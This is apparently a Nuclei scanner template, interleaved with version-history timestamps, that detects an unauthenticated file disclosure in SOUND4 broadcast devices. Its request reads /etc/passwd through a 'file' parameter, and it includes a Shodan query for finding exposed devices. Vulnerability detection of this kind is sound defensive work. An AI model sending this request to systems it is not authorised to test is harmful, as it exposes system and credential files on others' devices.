2023-01-23 04:22:06 +00:00
id : sound4-file-disclosure
2023-01-22 20:24:11 +00:00
info :
2023-01-23 04:22:06 +00:00
name : SOUND4 IMPACT/FIRST/PULSE/Eco <=2.x (PHPTail) Unauthenticated File Disclosure
2023-01-22 20:24:11 +00:00
author : arafatansari
severity : medium
2023-01-23 04:22:06 +00:00
description : |
The application suffers from an unauthenticated file disclosure vulnerability. Using the 'file' GET parameter attackers can disclose arbitrary files on the affected device and disclose sensitive and system information.
2023-01-22 20:24:11 +00:00
reference :
- https://packetstormsecurity.com/files/170263/SOUND4-IMPACT-FIRST-PULSE-Eco-2.x-Unauthenticated-File-Disclosure.html
2023-01-23 04:22:06 +00:00
- https://www.zeroscience.mk/en/vulnerabilities/ZSL-2022-5736.php
2023-01-22 20:24:11 +00:00
metadata :
shodan-query : http.html:"SOUND4"
2023-01-23 04:22:06 +00:00
verified : "true"
2023-01-23 07:48:36 +00:00
tags : packetstorm,lfi,sound4,unauth,disclosure
2023-01-22 20:24:11 +00:00
requests :
- method : GET
path :
- "{{BaseURL}}/cgi-bin/loghandler.php?ajax=251&file=/mnt/old-root/etc/passwd"
matchers-condition : and
matchers :
- type : regex
regex :
- "root:[x*]:0:0"
- type : status
status :
- 200
